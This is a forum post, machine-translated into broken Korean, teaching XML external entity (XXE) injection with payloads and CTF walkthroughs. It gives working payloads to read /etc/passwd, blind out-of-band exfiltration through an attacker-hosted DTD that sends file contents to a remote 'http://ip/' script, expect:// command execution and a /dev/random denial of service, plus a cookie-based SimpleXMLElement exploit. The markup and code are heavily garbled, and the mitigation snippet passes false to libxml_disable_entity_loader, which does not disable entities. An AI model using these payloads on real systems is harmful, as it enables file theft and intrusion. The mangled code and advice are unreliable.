KoreanHackerTeam
Moderator
XXE 漏洞相关
1 定义与原理
1.1 XXE 定义
-1010 XXE 취약성 전체 이름 XML 외부 엔티티 주입, XML 외부 엔티티 주입 취약성, XXE 취약성은 응용 프로그램이 XML 입력을 구문 분석 할 때 발생합니다. 인트라넷 웹 사이트를 스캔, 공격하여 DOS 공격 및 기타 위험을 시작합니다.1.2 XML 基础
1.2.1 XML 定义
문서 마크 업 언어, XML 문서 구조는 XML 선언, DTD 문서 유형 정의 (선택 사항), 문서 요소가 포함되어 있습니다.1
2
3
4
5
6
7
8
9
10
!-선언 정보-
? xml 버전='1.0'인코딩='UTF-8'?
점수
학생 ID='S1'
이름 해커/이름
Coursec ++/코스
스코어 95/점수
/학생
/점수
1.2.2 DTD 定义
DTD- 문서 유형 정의 정의 문서 유형 정의, DTD를 사용하여 XML 문서의 모듈과 모듈의 내용 (유사 적으로 강하게 입력 한 언어)을 정의합니다.在 XML 文件中定义内部 DTD:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
!-선언 정보-
? xml 버전='1.0'인코딩='UTF-8'?
!-내부 DTD 정의-
! doctype 점수 [
! 요소 점수 (학생+)
! 요소 학생 (이름, 코스, 점수)
ATTLIST 학생 ID CDATA #Required
! 요소 코스 (#pcdata)
! 요소 이름 (#pcdata)
! 요소 점수 (#pcdata)
]]
점수
학생 ID='S1'
이름 해커/이름
Coursec ++/코스
스코어 90/점수
/학생
/점수
pcdata는 문자 데이터를 구문 분석하는 것을 의미합니다
引用外部实体:1
2
3
4
5
6
7
8
9
10
11
12
13
!-선언 정보-
? xml 버전='1.0'인코딩='UTF-8'?
!-외부 DTD의 인용--
! doctype scores 시스템 'scores.dtd'
점수
학생 ID='S1'
이름 해커/이름
Coursec ++/코스
스코어 90/점수
/학생
/점수
scores.dtd 파일 콘텐츠 :
1
2
3
4
5
6
7
8
!-선언 정보-
? xml 버전='1.0'인코딩='UTF-8'?
! 요소 점수 (학생+)
! 요소 학생 (이름, 코스, 점수)
ATTLIST 학생 ID CDATA #Required
! 요소 코스 (#pcdata)
! 요소 이름 (#pcdata)
! 요소 점수 (#pcdata)
2 XML 实体注入
DTD의 엔티티 (프로그래밍 언어 상수와 유사)를 정의 할 수 있습니다. 정의 된 엔티티는 XML에서 참조 할 수 있습니다. XML 파서의 구문 분석 후 엔티티는 정의 된 텍스트 내용으로 대체됩니다.참조 엔티티의 형식은 다음과 같습니다. 엔티티 이름;
외부 엔티티가 참조되면 몇 가지 문제가있을 수 있습니다. 다음 코드는 외부 엔티티를 참조하는 예입니다.
1
2
3
4
5
? xml 버전='1.0'?
! doctype 데모 [
! 엔티티 컨텐츠 시스템 '파일 : ///etc/password'
]]
데모 턴트;/데모
따라서 XML 취약점은 주로 외부 파일을 구문 분석 할 수있는 외부 엔티티의 특성에 기인합니다.
매개 변수 엔티티 :
매개 변수 엔티티는 문서의 DTD 및 내부 서브 세트에서만 사용됩니다. XML의 사양 정의에서 매개 변수 엔티티는 DTD에서만 참조 할 수 있습니다. 매개 변수 엔티티의 선언 및 참조는 모두 백분율로 서명됩니다. 그리고 매개 변수 엔티티에 대한 참조는 DTD에서 이해되고 구문 분석되며 교체 텍스트는 DTD의 일부가됩니다. 이 유형의 엔티티는 " %"문자 (또는 16 진수로 인코딩 된)에 있습니다.
매개 변수 엔티티는 DTD에서만 사용할 수 있습니다.
1
2
3
4
5
6
7
8
9
? xml 버전='1.0'?
! doctype 루트 [
! 요소 루트 (메시지)
! entity % param1 '! 엔티티 내부'http://xxx.com ''
%param1;
]]
뿌리
MessageInternal;/메시지
/뿌리
매개 변수 엔티티는 종종 에코없이 XXE에 사용됩니다.
3 XXE 危害
3.1 读取任意文件
3.1.1 有回现
vulhub에서 사격장을 예로 들어보십시오.
유효 탑재량:
1
2
3
4
5
6
7
? xml 버전='1.0'인코딩='UTF-8'?
! doctype 루트 [
! 요소 이름이든
! 엔티티 데이터 시스템 '파일 : ///etc/passwd']
뿌리
지명 된 타타;/이름
/뿌리
Blind XXE의 원칙은 매우 간단합니다. 이는 데이터를 추출하여 대역 외 채널을 설정하고 외부 엔티티의 URL을 사용하여 액세스를 발행하고 공격자의 공개 네트워크 호스트를 사용하여 데이터를 수신하여 데이터 읽기를 달성하는 것입니다.
공격자는 XXE 취약성으로 페이로드를 서버로 보냈습니다. 이 페이로드의 기능은 서버에 기본 파일을 찾은 다음 악성 DTD 컨텐츠를 얻기 위해 공격자 서버에서 URL 요청을 요청하는 것입니다. 취약점이있는 서버가 DTD의 내용을 읽을 때 로컬 파일의 내용을 전달할 때 공격자 서버의 PHP 파일로 찾은 매개 변수로 찾았습니다. PHP 파일은 얻은 매개 변수를 로컬로 저장하여 에코 된 컨텐츠를 얻습니다.
유효 탑재량:
1
2
3
4
5
6
7
8
9
10
? xml 버전='1.0'인코딩='UTF-8'?
! doctype foo [
! 요소 foo
! Entity % 사악한 시스템 '파일 : ///etc/passwd'
!-또는 Pseudo-Protocol 인코딩 php: //필터/read=convert.base64-encode/resource=conf.php-
! 엔티티 % XXE 시스템 'http://ip/dtd.xml'
%xxe;
%모두;
]]
풋 엔드;/foo
dtd.xml
1
! Entity % All '! 엔티티 송신 시스템'http://ip/수신 .php? p=% evil; ''
내부 DTD에서, 매개 변수 엔티티 참조는 요소와 동일 할 수 있으며 요소 선언 내부에 직접 나타날 수 없습니다. 그렇지 않으면, 파서는 오류를보고합니다.
3.1.2 无回显
예상 확장을 설치해야합니다1
2
3
4
5
6
7
? xml 버전='1.0'인코딩='UTF-8'?
! doctype xxe [
! 요소 이름이든
! Entity XXE System 'export: //id']
xxe
namexxe;/name
/xxe
3.2 执行命令
12
3
4
5
6
7
? xml 버전='1.0'인코딩='UTF-8'?
! doctype xxe [
! 요소 이름이든
! 엔티티 xxe 시스템 '파일 : //dev/random']]
xxe
namexxe;/name
/xxe
3.3 拒绝服务攻击
4 CTF 题目
로드 중...
web.jarvisoj.com
웹을 방문하고 GO를 클릭하고 Burpsuite에서 요청 패키지를 찾으십시오.
1
2
3
4
5
6
7
8
9
10
11
12
13
post /api/v1.0/try http/1.1
host: web.jarvisoj.com:9882
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; RV:84.0) Gecko/20100101 Firefox/84.0
accept: */*
허용 : ZH-CN, ZH; Q=0.8, ZH-TW; Q=0.7, ZH-HK; Q=0.5, en-US; Q=0.3, en; q=0.2
accept-encoding: gzip, deflate
Content-Type: Application/JSON
컨텐츠 길이 : 36
Origin: http://web.jarvisoj.com:9882
Connection: 닫기
참조 3: http://web.jarvisoj.com:9882/
{ 'search':'type sth!', 'value':'own'}
컨텐츠 유형을 응용 프로그램/XML로 변경하고 POC를 제출하십시오.

4.1 DEMO 1
소스 코드 :1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
? php
함수 __ afoload ($ cls) {
$ CLS 포함;
}
클래스 블랙 {
public function __construct ($ string, $ default, $ 키워드, $ Store) {
if ($ string) ini_set ( 'height.string', '#0d0d0d');
if ($ default) ini_set ( 'height.default', '#0d0d0d');
if ($ keyword) ini_set ( 'height.keyword', '#0d0d0d');
if ($ Store) {
setCookie ( '테마', '블랙-'. $ string .'- '. $ default .'-'. $ 키워드, 0, '/');
}
}
}
클래스 그린 {
public function __construct ($ string, $ default, $ 키워드, $ Store) {
if ($ string) ini_set ( 'height.string', '#00fb00');
if ($ default) ini_set ( 'height.Default', '#00fb00');
if ($ keyword) ini_set ( 'height.keyword', '#00fb00');
if ($ Store) {
setCookie ( '테마', '녹색-'. $ string .'- '. $ default .'-'. $ 키워드, 0, '/');
}
}
}
if ($ _=@$ _ get [ '테마']) {
if (in_array ($ _, [ 'black', 'green'])) {
if (@class_exists ($ _)) {
($ string=@$ _ get [ 'string']) || $ string=false;
($ default=@$ _ get [ 'default']) || $ default=false;
($ keyword=@$ _ get [ 'keyword']) || $ keyword=false;
new $ _ ($ string, $ default, $ keyword, @$ _ get [ 'store']);
}
}
} else if ($ _=@$ _ 쿠키 [ '테마']) {
$ args=exploit ( '-', $ _);
if (class_exists ($ args [0]) {
새로운 $ args [0] ($ args [1], $ args [2], $ args [3], '');
}
} else if ($ _=@$ _ get [ 'info']) {
phpinfo ();
}
하이라이트_file (__ file__);
쿠키에 따라 주제 클래스가로드되는 곳은 쿠키가 변조되었는지 여부를 판단하지 않아서 우리가 새로운 클래스의 새로운 $ args [0] ($ args [1], $ args [2], $ args [3], '')를 인스턴스화 할 수 있습니다.
내장 된 PHP 기본 클래스를 찾으면이 클래스의 인스턴스화 매개 변수는 $ args [0] ($ args [1], $ arg [2], $ args [3], '')에 해당해야하며 Class SimplexMlelement는 위의 요구 사항을 충족해야합니다.
따라서 /flag.php 파일은 Blind XXE를 통해 읽을 수 있습니다.
유효 탑재량:
Cookie:theme=simplexmlelement-http://ip/xxe.xml-2-true
원격 xxe.xml
1
2
3
4
5
6
7
8
? xml 버전='1.0'인코딩='UTF-8'?
! doctype foo [
! Entity % 파일 시스템 'php: //필터/read=convert.base64- encode/resource=file: ///flag'
! 엔티티 % 원격 시스템 'http://ip/xxe.dtd'
%원격;
%모두;
]]
풋 엔드;/foo
xxe.dtd
1
! entity % all '! 엔티티 송신 시스템'http://ip/lecce.php? file=% 파일; ''
4.2 DEMO 2
개발 언어가 제공하는 외부 엔티티를 비활성화하는 방법PHP LIBXML 버전은 2.9.1보다 낮고 기본적으로 활성화됩니다.
1
2
3
? php
libxml_disable_entity_loader (false);
?
키워드 시스템, 공개 등과 같은 사용자 제출 XML 데이터를 필터링합니다.